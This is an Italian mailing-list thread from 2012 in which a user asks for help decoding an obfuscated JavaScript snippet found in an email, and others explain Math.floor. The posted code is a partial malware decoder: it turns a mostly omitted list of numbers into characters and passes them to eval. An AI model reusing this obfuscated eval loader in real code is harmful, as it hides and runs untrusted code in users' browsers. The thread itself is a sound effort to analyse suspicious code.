Discussione:
js virus
Riccardo Torrini
2012-12-10 09:02:00 UTC
Permalink
Mi aiutate a decifrare questo coso?

try{n%=Math.round;}catch(zxc){e=eval;m=Math;n="117..126..1365

[...omissis per proteggervi...]

..117..126..1625".split("..");h=2;s="";for(i=0;i-645!=0;i=1+i){
k=i;s+=String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+015));}
if(016-0xb===3)if(window.document)e(""+s);}

Nella parte omessa ci sono (a occhio) 5-600 numeri separati da
".." (su cui fa split), penso che da li estragga una url a cui
fare redirect. Ma cosa fa Math.floor() ? Estrae il resto?
Ma perche` il nostro antivirus non blocca il js nelle mail? :-(
--
Riccardo. ( http://www.GUFI.org/~vic/ )
Luca Morettoni
2012-12-10 09:05:36 UTC
Permalink
Post by Riccardo Torrini
Nella parte omessa ci sono (a occhio) 5-600 numeri separati da
".." (su cui fa split), penso che da li estragga una url a cui
fare redirect. Ma cosa fa Math.floor() ? Estrae il resto?
"Returns the largest integer less than or equal to a number."

https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Math/floor

--
Luca Morettoni <luca(AT)morettoni.net> | http://www.morettoni.net
gtalk/msn: luca(AT)morettoni.net | http://twitter.com/morettoni
Google+ profile: http://bit.ly/morettoni_plus
Member of Python User Group Perugia: http://www.pypg.org/
Riccardo Torrini
2012-12-10 10:08:23 UTC
Permalink
Post by Luca Morettoni
Post by Riccardo Torrini
Nella parte omessa ci sono (a occhio) 5-600 numeri separati da
".." (su cui fa split), penso che da li estragga una url a cui
fare redirect. Ma cosa fa Math.floor() ? Estrae il resto?
https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Math/floor
Non funziona, vuole il login :(
Post by Luca Morettoni
"Returns the largest integer less than or equal to a number."
Continuo a non capire a cosa serva quella funzione, a parte
aiutare ad offuscare il codice, 600+ elementi di un array
vengono divisi per 2, il risultato e` il dividendo quindi?
(una divisione puo` dare solo dividendo e resto no?)

http://www.w3schools.com/jsref/jsref_floor.asp
Use the floor() method on different numbers:
var a=Math.floor(0.60);
var b=Math.floor(0.40);
var c=Math.floor(5);
var d=Math.floor(5.1);
var e=Math.floor(-5.1);
var f=Math.floor(-5.9);

The result of a,b,c,d,e, and f will be:
0
0
5
5
-6
-6

Che orrore, non e` int e non e` truncate :(
( tronca i positivi e tronca e decrementa di uno i negativi )
--
Riccardo. ( http://www.GUFI.org/~vic/ )
Ferruccio Zamuner
2012-12-10 11:07:26 UTC
Permalink
Post by Riccardo Torrini
Post by Luca Morettoni
Post by Riccardo Torrini
Nella parte omessa ci sono (a occhio) 5-600 numeri separati da
".." (su cui fa split), penso che da li estragga una url a cui
fare redirect. Ma cosa fa Math.floor() ? Estrae il resto?
https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Math/floor
Non funziona, vuole il login :(
Ciao vic.

forse quel virus ti ha fatto piu' danni di quanto immagini: il link che
ti ha passato Luca non richiede alcun login.


Ciao, \ferz
Gianmarco Giovannelli
2012-12-10 12:32:58 UTC
Permalink
Post by Ferruccio Zamuner
Post by Luca Morettoni
Post by Riccardo Torrini
Nella parte omessa ci sono (a occhio) 5-600 numeri separati da
".." (su cui fa split), penso che da li estragga una url a cui
fare redirect. Ma cosa fa Math.floor() ? Estrae il resto?
https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Math/floor
Non funziona, vuole il login :(
Ciao vic.
forse quel virus ti ha fatto piu' danni di quanto immagini: il link
che ti ha passato Luca non richiede alcun login.
Ciao, \ferz
Confermo :-/
Riccardo Torrini
2012-12-10 13:40:17 UTC
Permalink
Post by Gianmarco Giovannelli
Non funziona, vuole il login :(
il link che ti ha passato Luca non richiede alcun login.
Confermo :-/
Buffo, ora funziona. Ho rifatto due prove ed ho notato che
chiede il login su path che non esistono, forse era entrato
un carattere strano nella url di prima, come non detto...
--
Riccardo. ( http://www.GUFI.org/~vic/ )
Matteo Riondato
2012-12-13 18:30:09 UTC
Permalink
Post by Riccardo Torrini
Ma cosa fa Math.floor() ? Estrae il resto?
Post by Luca Morettoni
"Returns the largest integer less than or equal to a number."
Che orrore, non e` int e non e` truncate :(
( tronca i positivi e tronca e decrementa di uno i negativi )
Floor e' una comunissima funzione matematica definita sui numeri reali
(insomma, su tutti i numeri con cui potrai mai avere a che fare in
pratica).
Immaginando i numeri su una retta, ordinati da sinistra a destra in ordine
crescente, floor(x) va a guardare quale e' il primo numero _intero_ alla
sinistra di x.

Matematicamente floor(x) e' una funzione dai numeri reali verso i numeri
interi (floor: R -> Z) dove floor(x) : x => min {z\in Z tale che z <= x} .

Se 600 interi vengono divisi per due e dei risultati prendi il floor, in
pratica prendi il risultato della divisione _intera_. IIRC, la divisione in
js restituisce un float, quindi per i numeri interi dispari ti ritorna un
numero non intero (ad esempio per 3 ti ritorna 1.5). Per ottenre la
divisione intera devi usare floor.

Ciao
Matteo
--
Matteo Riondato, Ph.D. Candidate
Department of Computer Science
Brown University

Loading...